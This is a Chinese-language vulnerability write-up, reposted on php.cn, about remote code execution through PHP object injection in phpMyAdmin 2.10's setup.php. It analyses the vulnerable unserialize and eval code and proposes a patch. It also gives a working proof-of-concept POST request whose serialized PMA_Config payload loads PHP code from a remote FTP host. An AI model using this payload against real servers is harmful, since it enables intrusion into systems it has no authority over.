Maison > php教程 > php手册 > phpMyadmin /scripts/setup.php Execute Arbitrary PHP Code Via

phpMyadmin /scripts/setup.php Execute Arbitrary PHP Code Via

WBOY
Libérer: 2016-06-06 19:48:18
original
2108 Les gens l'ont consulté

目录 1 . 漏洞描述 2 . 漏洞触发条件 3 . 漏洞影响范围 4 . 漏洞代码分析 5 . 防御方法 6 . 攻防思考 1. 漏洞描述 对这个漏洞简单的概括如下 1 . " /scripts/setup.php " 会接收用户发送的序列化POST数据action =lay_navigationeoltype=unixtoken=ec4c4c184a

目录

<span>1</span><span>. 漏洞描述
</span><span>2</span><span>. 漏洞触发条件
</span><span>3</span><span>. 漏洞影响范围
</span><span>4</span><span>. 漏洞代码分析
</span><span>5</span><span>. 防御方法
</span><span>6</span>. 攻防思考
Copier après la connexion

 

1. 漏洞描述

对这个漏洞简单的概括如下

<span>1</span>. <span>"</span><span>/scripts/setup.php</span><span>"</span><span>会接收用户发送的序列化POST数据
action</span>=lay_navigation&eoltype=unix&token=ec4c4c184adfe4b04aa1ae9b90989fc4&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%<span>22</span>%3A1%3A%7Bs%3A6%3A%22source%<span>22</span>%3Bs%3A24%3A%22ftp%3A%2f%2f10.<span>125.62</span>.<span>62</span>%2fs.txt%<span>22</span>%3B%7D%<span>7D
</span><span>/*</span><span>
token要动态获取
action=lay_navigation&eoltype=unix&token=ec4c4c184adfe4b04aa1ae9b90989fc4&configuration=a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:24:"ftp://10.125.62.62/s.txt";}}
</span><span>*/</span>

<span>2</span>. <span>"</span><span>/scripts/setup.php</span><span>"</span>会对<span>"</span><span>$_POST['configuration']</span><span>"</span><span>进行反序列化
setup.php在反序列化的时候,程序未对输入的原始数据进行有效地恶意检测

</span><span>3</span>. 黑客可以在POST数据中注入<span>"</span><span>序列化后的PMA_Config对象</span><span>"</span><span>
setup.php在反序列化一个</span><span>"</span><span>序列化后的PMA_Config对象</span><span>"</span>的时候,会对这个对象进行<span>"</span><span>重新初始化</span><span>"</span><span>,即再次调用它的构造函数
function __construct($source </span>= <span>null</span><span>)
{
    $</span><span>this</span>->settings =<span> array();

    </span><span>//</span><span> functions need to refresh in case of config file changed goes in
    </span><span>//</span><span> PMA_Config::load()</span>
    $<span>this</span>-><span>load($source);

    </span><span>//</span><span> other settings, independant from config file, comes in</span>
    $<span>this</span>-><span>checkSystem();

    $</span><span>this</span>-><span>checkIsHttps();
}

</span><span>4</span>. PMA_Config对象的构造函数会重新引入<span>"</span><span>$source</span><span>"</span>对应的配置文件,这个"$source"是对象重新初始化时本次注册得到的,使用eval执行的方式将配置文件中的变量<span>"</span><span>本地变量注册化</span><span>"</span><span>
function load($source </span>= <span>null</span><span>)
{
    $</span><span>this</span>-><span>loadDefaults();

    </span><span>if</span> (<span>null</span> !==<span> $source) {
        $</span><span>this</span>-><span>setSource($source);
    }

    </span><span>if</span> (! $<span>this</span>-><span>checkConfigSource()) {
        </span><span>return</span> <span>false</span><span>;
    }

    $cfg </span>=<span> array();

    </span><span>/*</span><span>*
     * Parses the configuration file
     </span><span>*/</span><span>
    $old_error_reporting </span>= error_reporting(<span>0</span><span>);
    </span><span>//</span><span>使用eval方式引入外部的配置文件</span>
    <span>if</span> (function_exists(<span>'</span><span>file_get_contents</span><span>'</span><span>)) 
    {
        $eval_result </span>= eval(<span>'</span><span>?></span><span>'</span> . trim(file_get_contents($<span>this</span>-><span>getSource())));
    } 
    </span><span>else</span><span> 
    {
        $eval_result </span>=<span>
        eval(</span><span>'</span><span>?></span><span>'</span> . trim(implode(<span>"</span><span>\n</span><span>"</span>, file($<span>this</span>-><span>getSource()))));
    }
    error_reporting($old_error_reporting);

    </span><span>if</span> ($eval_result === <span>false</span><span>) {
        $</span><span>this</span>->error_config_file = <span>true</span><span>;
    } </span><span>else</span><span>  {
        $</span><span>this</span>->error_config_file = <span>false</span><span>;
        $</span><span>this</span>->source_mtime = filemtime($<span>this</span>-><span>getSource());
    }
    ...</span>
Copier après la connexion

最终的结果是,程序代码引入了黑客注入的外部文件的PHP代码,并使用eval进行了执行,导致RCE

Relevant Link:

http:<span>//</span><span>php.net/manual/zh/function.unserialize.php</span>
http:<span>//</span><span>drops.wooyun.org/papers/596</span>
http:<span>//</span><span>drops.wooyun.org/tips/3909</span>
http:<span>//</span><span>blog.csdn.net/cnbird2008/article/details/7491216</span>
Copier après la connexion


2. 漏洞触发条件

0x1: POC

token需要动态获取

<span>1</span><span>. POST
http:</span><span>//</span><span>localhost/phpMyAdmin-2.10.0.2-all-languages/scripts/setup.php</span>

<span>2</span><span>. DATA
action</span>=lay_navigation&eoltype=unix&token=ec4c4c184adfe4b04aa1ae9b90989fc4&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%<span>22</span>%3A1%3A%7Bs%3A6%3A%22source%<span>22</span>%3Bs%3A24%3A%22ftp%3A%2f%2f10.<span>125.62</span>.<span>62</span>%2fs.txt%<span>22</span>%3B%7D%<span>7D
</span><span>/*</span><span>
source要是一个外部的文本文件,需要返回的是原生的PHP代码
a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:24:"ftp://10.125.62.62/s.txt";}}
</span><span>*/</span>
Copier après la connexion

phpMyadmin /scripts/setup.php Execute Arbitrary PHP Code Via



3. 漏洞影响范围

<span>1</span>. phpmyadmin <span>2.10</span>
<span>2</span>. 2.10
Copier après la connexion

 

4. 漏洞代码分析

0x1: PHP serialize && unserialize

关于PHP序列化、反序列化存在的安全问题相关知识,请参阅另一篇文章

http:<span>//</span><span>www.cnblogs.com/LittleHann/p/4242535.html</span>
Copier après la connexion

0x2: "/scripts/setup.php"

<span>if</span> (isset($_POST[<span>'</span><span>configuration</span><span>'</span>]) && $action != <span>'</span><span>clear</span><span>'</span><span> ) 
{
    </span><span>//</span><span> Grab previous configuration, if it should not be cleared</span>
    $configuration = unserialize($_POST[<span>'</span><span>configuration</span><span>'</span><span>]);
} 
</span><span>else</span><span> 
{
    </span><span>//</span><span> Start with empty configuration</span>
    $configuration =<span> array();
}</span>
Copier après la connexion

漏洞的根源在于程序信任了用户发送的外部数据,直接进行本地序列化,从而导致"对象注入",黑客通过注入当前已经存在于代码空间的PMA_Config对象,php在反序列化的时候,会自动调用对象的__wakeup函数,在__wakeup函数中,会使用外部传入的$source参数,作为配置文件的来源,然后使用eval将其引入到本地代码空间

0x3: \libraries\Config.class.php

<span>/*</span><span>*
     * re-init object after loading from session file
     * checks config file for changes and relaods if neccessary
     </span><span>*/</span><span>
    function __wakeup()
    {
      </span><span>//</span><span>在执行__wakeup()的时候,$source已经被注册为了外部传入的$source参数</span>
        <span>if</span> (! $<span>this</span>-><span>checkConfigSource()
          </span>|| $<span>this</span>->source_mtime !== filemtime($<span>this</span>-><span>getSource())
          </span>|| $<span>this</span>->default_source_mtime !== filemtime($<span>this</span>-><span>default_source)
          </span>|| $<span>this</span>-><span>error_config_file
          </span>|| $<span>this</span>-><span>error_config_default_file) {
            $</span><span>this</span>->settings =<span> array(); 
            $</span><span>this</span>-><span>load();
            $</span><span>this</span>-><span>checkSystem();
        }

        </span><span>//</span><span> check for https needs to be done everytime,
        </span><span>//</span><span> as https and http uses same session so this info can not be stored
        </span><span>//</span><span> in session</span>
        $<span>this</span>-><span>checkIsHttps();

        $</span><span>this</span>-><span>checkCollationConnection();
        $</span><span>this</span>-><span>checkFontsize();
    }</span>
Copier après la connexion


5. 防御方法

0x1: Apply Patch

<span>if</span> (isset($_POST[<span>'</span><span>configuration</span><span>'</span>]) && $action != <span>'</span><span>clear</span><span>'</span><span> ) 
{ 
    $configuration </span>=<span> array(); 
    </span><span>//</span><span>协议的匹配忽略大小写</span>
    <span>if</span> ( (strpos($_POST[<span>'</span><span>configuration</span><span>'</span>], <span>"</span><span>PMA_Config</span><span>"</span>) !== <span>false</span>) && ( (stripos($_POST[<span>'</span><span>configuration</span><span>'</span>], <span>"</span><span>ftp://</span><span>"</span>) !== <span>false</span>) || (stripos($_POST[<span>'</span><span>configuration</span><span>'</span>], <span>"</span><span>http://</span><span>"</span>) !== <span>false</span><span>) ) ) 
    { 
        $configuration </span>=<span> array();
    } 
    </span><span>else</span><span>
    {
        </span><span>//</span><span> Grab previous configuration, if it should not be cleared</span>
        $configuration = unserialize($_POST[<span>'</span><span>configuration</span><span>'</span><span>]); 
    }  
} 
</span><span>else</span><span> 
{
    </span><span>//</span><span> Start with empty configuration</span>
    $configuration =<span> array();
}</span>
Copier après la connexion

 

6. 攻防思考

Copyright (c) 2014 LittleHann All rights reserved

 

Étiquettes associées:
source:php.cn
Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn
Recommandations populaires
Tutoriels populaires
Plus>
Derniers téléchargements
Plus>
effets Web
Code source du site Web
Matériel du site Web
Modèle frontal